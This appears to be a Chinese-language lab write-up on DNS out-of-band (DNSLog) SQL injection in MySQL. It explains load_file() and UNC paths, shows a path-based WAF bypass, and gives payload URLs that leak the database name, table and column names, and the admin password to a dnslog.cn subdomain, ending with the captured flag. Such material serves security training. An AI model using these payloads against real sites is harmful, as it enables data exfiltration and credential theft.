DNS注入
DNS注入也称DNS带外注入、DNSLog注入
DNS
DNS(Domain Name System)域名系统,将域名与IP地址相互映射的一个分布式数据库
DNS注入核心是 将盲注变为显错注入
DNS-log
DNS服务器的解析记录
注入基础
1、load_file() 读取文件的函数
读取文件并返回文件内容为字符串
要使用此函数文件必须位于主服务器上,必须指定完整路径的文件,而且必须有file权限
该文件所有字节可读,但文件内容必须小于max_allower_packet(限制server接收的数据包大小函数,默认1MB)
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL1
load_file() 是数据库函数
该功能不是默认开启的,需要在MySQL配置文件加一句:secure_file_priv=
2、UNC路径
UNC(Universal Naming Convention)
通用命名规则,也称通用命名规范、通用命名约定
UNC路径:
-
格式:\\servername\sharename (servername–服务器名;sharename共享资源的名称)
-
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename
-
unc共享就是指网络硬盘的共享
-
UNC路径也可以这样写:
//servername/sharename [ 建议这样写 ]
DNS-LOG平台:http://www.dnslog.cn/ 可以记录 是否有人访问了该域名,并且记录域名是什么
3、concat() 字符串连接函数
DNS注入缺陷
- 目标必须有网络
- Windows机器较为常见
注意:
- index.php/1.txt?id=1
- 当1.txt不存在时,就会检测上一级 文件是否存在
- 如果上一级文件存在,就会把id=1传参给index.php
靶场
1、进入靶场,看到源码,可以使用id进行传值
2、使用?id=1 and 1=1 有WAF
3、使用/1.txt?id=1 进行绕过 并分别输入 and 1=1 和 and 1=2 进行探测
绕WAF:
1、绕规则
2、绕检测
3、白名单
and 1=1
and 1=2
4、使用DNS注入,用load_file()函数构造payload 爆出数据名名:
http://xxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,database(),’.h3uk2s.dnslog.cn/abc’)))
5、构造payload 爆出当前数据库下的表名:
爆出第一个表名 admin
http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select table_name from
information_schema.tables where table_schema=database() limit 0,1),’.h3uk2s.dnslog.cn/abc’)))
注意:.h3uk2s.dnslog.cn/abc 中的abc存不存在 不重要
爆出第二条表名 news
爆出第三条表名时 无反应
故判断 只有两张表 admin news
6、构造payload爆出admin表下的字段名
爆出第一个字段名id
http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select column_name from information_schema.columns where table_schema=database() and table_name=’admin’
limit 0,1),’.h3uk2s.dnslog.cn/abc’)))
爆出第二个字段名 limit 1,1 username
爆出第三个字段名limit 2,1 password
爆出第四个字段名时 limit 3,1 无反应
故判断 admin表下总共3个字段 id、username、password
7、flag可能在password字段中,所以构造payload 爆出password字段中的信息
爆出第一条信息
http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select password from admin limit 0,1),’.h3uk2s.dnslog.cn/abc’)))
使用limit 1,1 没有反应
故判断只有一条信息
8、得到flag,通关